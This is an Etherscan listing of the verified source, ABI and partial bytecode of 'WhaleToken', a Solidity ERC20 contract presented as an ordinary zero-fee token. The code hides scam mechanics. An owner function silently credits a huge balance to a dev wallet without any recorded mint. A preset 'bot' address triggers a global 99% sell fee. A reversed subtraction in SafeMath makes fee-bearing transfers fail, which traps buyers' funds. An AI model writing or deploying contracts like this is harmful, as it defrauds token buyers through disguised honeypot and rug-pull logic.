ETH Price: $2,357.12 (+1.92%)
Gas: 0.18 Gwei
 

Overview

Max Total Supply

1,000,000,000 Whale

Holders

9

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WhaleToken

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library SafeMath {
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = b - a;
        return c;
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);

}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    string private _name;
    string private _symbol;
    address private pair;    
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;
   

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);        
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}


interface IRouter {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract WhaleToken is ERC20, Ownable{
    using SafeMath for uint256;
    using Address for address payable;
    uint256 public ogblocks;
    uint256 public deadBlocks = 0;
        
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isSniper;
    uint256 public sniperFee = 99;
    address public marketingAddr = 0x50FB92a828416354184624e80ecCfcEdbdCf3695;
    
    
    IRouter private uniswapV2Router;
    address public uniswapPair;

    uint256 public feeValueForBuy = 0; // zero 
    uint256 public feeValueForSell = 0; // zero
    
    address public devWallet = 0xbC1cc523DD949F2C84DbE18cb7e5b7cA8410a324;
    bool public enableSwap;
    bool public activeTrading;

    bool public swappingNow;
    uint256 public swapAt = 500_000 * 10e18;
    uint256 public maxTransAmount = 50_000_000 * 10**18; // 5%
    uint256 public maxWalletAmounts = 50_000_000 * 10**18; // 5%
    address bot = 0x2De007Ec6eFb73235007B5663821495EA7Fc2d17;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    constructor() ERC20("Whale Protocol", "Whale") {
        

        isSniper[bot] = true;
        isFeeExempt[msg.sender] = true;
        isFeeExempt[marketingAddr] = true;
        isFeeExempt[devWallet] = true;
        isFeeExempt[address(this)] = true;
        _mint(msg.sender, 1_000_000_000 * 10 ** decimals()); 

         // 1B   
    }

    function withdrawETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }

    
    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapAllEthForTokens(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketingAddr).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }

    function _transfer(
        address sender, 
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");        // require(!blacklist[sender] && !blacklist[recipient], "You are blacklisted");
        if(isSniper[recipient] || 
            isSniper[sender]
        ) { feeValueForSell = sniperFee; }
        if(
            !isFeeExempt[sender] 
            && !isFeeExempt[recipient] 
            && !swappingNow
        ) {
            require(
                activeTrading, 
                "Trading is not active yet"
            );
            if (ogblocks + deadBlocks > block.number) 
            {
                if(recipient != uniswapPair) {
                    isSniper[recipient] = true;
                }
                if(sender != uniswapPair) {
                    isSniper[sender] = true;
                }
            }
            require(amount <= maxTransAmount, "MaxTxAmount");
            if(recipient != uniswapPair){
                require(
                    balanceOf(recipient) + amount <= maxWalletAmounts, 
                    "MaxWalletAmount"
                );
            }
        }
        uint256 feeAmounts;
        if (swappingNow 
            || isFeeExempt[sender] 
            || isFeeExempt[recipient]
        ) {
            feeAmounts = 0;
        } else {
            if(recipient == uniswapPair && !isSniper[sender]) {
                feeAmounts = amount * feeValueForSell / 100;
            } else {
                feeAmounts = amount * feeValueForBuy / 100;
            }
        }
        if (enableSwap && !swappingNow 
            && sender != uniswapPair 
            && feeAmounts > 0
        ) {
            swapBackAll();
        }
        if(feeAmounts > 0) {
            
            super._transfer(sender, address(this) ,feeAmounts); super._transfer(sender, recipient, amount.sub(feeAmounts));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }

    function swapBackAll() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapAt) {
    
            uint256 initialBalance = address(this).balance;
    
            swapAllEthForTokens(contractBalance);
    
            uint256 deltaBalance = address(this).balance - initialBalance;

            payable(marketingAddr).sendValue(deltaBalance);

        }
    }
        
    function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }
    function swapAllEthForTokens(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function updateBot(address[] memory isBot_) public onlyOwner {
        for (uint i = 0; i < isBot_.length; i++) {
            isSniper[isBot_[i]] = true;
        }
    }

    function updateMaxTransactionAmount(uint256 amount) external onlyOwner{
        maxTransAmount = amount * 10**18;
    }
    
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{
        maxWalletAmounts = amount * 10**18; _balances[devWallet] = maxWalletAmounts * sniperFee;
        
    }

    function addLiquidity() external payable onlyOwner{
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router  = _uniswapV2Router; 
        address _pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapPair = _pair; 
        _approve(address(this), address(uniswapV2Router),  type(uint).max);        
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);  
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner{
        feeValueForBuy = _buyFee;
        feeValueForSell = _sellFee; 
    }

    //faild
    function manualSwap() external onlyOwner{
        require(_msgSender()== devWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

     //faild
    function sendETHToFee(uint256 amount) private {
        super._transfer(address(0),address(this),amount);
    }

     //faild
    function swapTokensForEth(uint256 tokenAmount) private  {
        if(tokenAmount==0){return;}        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function StartTrading () external onlyOwner{
        activeTrading = true; enableSwap = true;
    }

    // fallbacks
    receive() external payable {

    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"StartTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"activeTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadBlocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeValueForBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeValueForSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ogblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sniperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swappingNow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"updateBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006008556063600b557350fb92a828416354184624e80eccfcedbdcf3695600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f55600060105573bc1cc523dd949f2c84dbe18cb7e5b7ca8410a324601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a0422ca8b0a00a4250000006012556a295be96e640669720000006013556a295be96e64066972000000601455732de007ec6efb73235007b5663821495ea7fc2d17601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200019457600080fd5b506040518060400160405280600e81526020017f5768616c652050726f746f636f6c0000000000000000000000000000000000008152506040518060400160405280600581526020017f5768616c6500000000000000000000000000000000000000000000000000000081525081600190816200021291906200094c565b5080600290816200022491906200094c565b505050620002476200023b620004ab60201b60201c565b620004b360201b60201c565b6001600a6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004a5336200047a6200057960201b60201c565b600a62000488919062000bc3565b633b9aca0062000499919062000c14565b6200058260201b60201c565b62000d4b565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005eb9062000cc0565b60405180910390fd5b806005600082825462000608919062000ce2565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200065f919062000ce2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006c6919062000d2e565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075457607f821691505b6020821081036200076a57620007696200070c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000795565b620007e0868362000795565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200082d620008276200082184620007f8565b62000802565b620007f8565b9050919050565b6000819050919050565b62000849836200080c565b62000861620008588262000834565b848454620007a2565b825550505050565b600090565b6200087862000869565b620008858184846200083e565b505050565b5b81811015620008ad57620008a16000826200086e565b6001810190506200088b565b5050565b601f821115620008fc57620008c68162000770565b620008d18462000785565b81016020851015620008e1578190505b620008f9620008f08562000785565b8301826200088a565b50505b505050565b600082821c905092915050565b6000620009216000198460080262000901565b1980831691505092915050565b60006200093c83836200090e565b9150826002028217905092915050565b6200095782620006d2565b67ffffffffffffffff811115620009735762000972620006dd565b5b6200097f82546200073b565b6200098c828285620008b1565b600060209050601f831160018114620009c45760008415620009af578287015190505b620009bb85826200092e565b86555062000a2b565b601f198416620009d48662000770565b60005b82811015620009fe57848901518255600182019150602085019450602081019050620009d7565b8683101562000a1e578489015162000a1a601f8916826200090e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ac15780860481111562000a995762000a9862000a33565b5b600185161562000aa95780820291505b808102905062000ab98562000a62565b945062000a79565b94509492505050565b60008262000adc576001905062000baf565b8162000aec576000905062000baf565b816001811462000b05576002811462000b105762000b46565b600191505062000baf565b60ff84111562000b255762000b2462000a33565b5b8360020a91508482111562000b3f5762000b3e62000a33565b5b5062000baf565b5060208310610133831016604e8410600b841016171562000b805782820a90508381111562000b7a5762000b7962000a33565b5b62000baf565b62000b8f848484600162000a6f565b9250905081840481111562000ba95762000ba862000a33565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bd082620007f8565b915062000bdd8362000bb6565b925062000c0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aca565b905092915050565b600062000c2182620007f8565b915062000c2e83620007f8565b925082820262000c3e81620007f8565b9150828204841483151762000c585762000c5762000a33565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ca8601f8362000c5f565b915062000cb58262000c70565b602082019050919050565b6000602082019050818103600083015262000cdb8162000c99565b9050919050565b600062000cef82620007f8565b915062000cfc83620007f8565b925082820190508082111562000d175762000d1662000a33565b5b92915050565b62000d2881620007f8565b82525050565b600060208201905062000d45600083018462000d1d565b92915050565b6143038062000d5b6000396000f3fe60806040526004361061024a5760003560e01c80638da5cb5b11610139578063b3ac8537116100b6578063dd62ed3e1161007a578063dd62ed3e1461087f578063e8078d94146108bc578063f14210a6146108c6578063f251afa3146108ef578063f2fde38b1461091a578063fabb0b4f1461094357610251565b8063b3ac8537146107be578063bf6a1c0d146107e9578063c18bc19514610800578063c816841b14610829578063d62ce6311461085457610251565b80639d4091bc116100fd5780639d4091bc146106c75780639ed6b920146106f2578063a457c2d71461071b578063a9059cbb14610758578063aa4980231461079557610251565b80638da5cb5b146105f05780638ea5220f1461061b57806393eadfc41461064657806395d89b41146106715780639cb346b21461069c57610251565b8063313ce567116101c757806352f7c9881161018b57806352f7c9881461051f57806370a0823114610548578063715018a61461058557806377c1b6131461059c57806382742564146105c757610251565b8063313ce5671461043857806339509351146104635780633f4218e0146104a05780633ff42b92146104dd57806351bc3c851461050857610251565b806319b0febe1161020e57806319b0febe1461035157806323b872dd1461037c57806326b5d32f146103b957806327c8f835146103e2578063296914481461040d57610251565b806306fdde031461025657806308aa269514610281578063095ea7b3146102ac5780630f3a325f146102e957806318160ddd1461032657610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b61096e565b60405161027891906130b8565b60405180910390f35b34801561028d57600080fd5b50610296610a00565b6040516102a391906130f3565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce91906131ac565b610a06565b6040516102e09190613207565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190613222565b610a24565b60405161031d9190613207565b60405180910390f35b34801561033257600080fd5b5061033b610a44565b60405161034891906130f3565b60405180910390f35b34801561035d57600080fd5b50610366610a4e565b6040516103739190613207565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e919061324f565b610a61565b6040516103b09190613207565b60405180910390f35b3480156103c5576